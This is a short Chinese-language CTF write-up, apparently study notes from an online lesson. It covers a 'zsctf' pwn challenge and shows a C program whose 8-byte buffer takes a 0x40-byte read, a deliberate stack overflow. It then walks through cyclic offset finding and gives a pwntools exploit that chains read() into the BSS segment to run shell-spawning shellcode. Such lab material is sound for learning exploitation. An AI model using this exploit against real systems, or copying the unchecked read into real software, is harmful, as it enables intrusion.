Pwn

周末看到了这道题,学习记录下来!

首先我们先来看源代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <stdio.h>
#include <unistd.h>

void init(){
setvbuf(stdout, NULL, _IOLBF, 0);
}

void welcome(){
write(1, "Welcome to zsctf!\n", 21);
}

void vuln(){
char buffer[8] = {0};
read(0, buffer, 0x40);
}

int main(){
init();
welcome();
vuln();
return 0;
}

通过看源码,能明显的看出,read()函数处存在明显栈溢出,接着我们来运行下程序,熟悉程序的各个功能。

检查该程序打开的保护措施

NX保护关闭,就更容易利用了

我们就可以来捋下大致的利用思路,通过read()函数,把shellcode读进去BBS段

接下来,我们就可以操作了;

用cyclic 100生成100个字符来覆盖返回地址,并将这些字符输入给程序来得到无效地址

结合cyclic -l 无效地址来得到返回地址,并将shellcode放入该返回地址处

通过ida找到bbs段的地址

结合pwntools,构造rop,写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *
import time

bss_add = 0x804A024 #通过ida找到的bbs段的地址
proc = './static'
context.binary = proc
shellcode = asm(shellcraft.sh())
p = process(proc)
p.recvuntil("Welcome to zsctf!")
rop = ROP(proc)
rop.read(0,bss_add+0x100,len(shellcode))
rop.call(bss_add+0x100)
p.send('a'*20 + str(rop))
time.sleep(1)
p.send(shellcode)
p.interactive()

最终成功获得shell

本文为听b站莫笑老师的笔记记录吧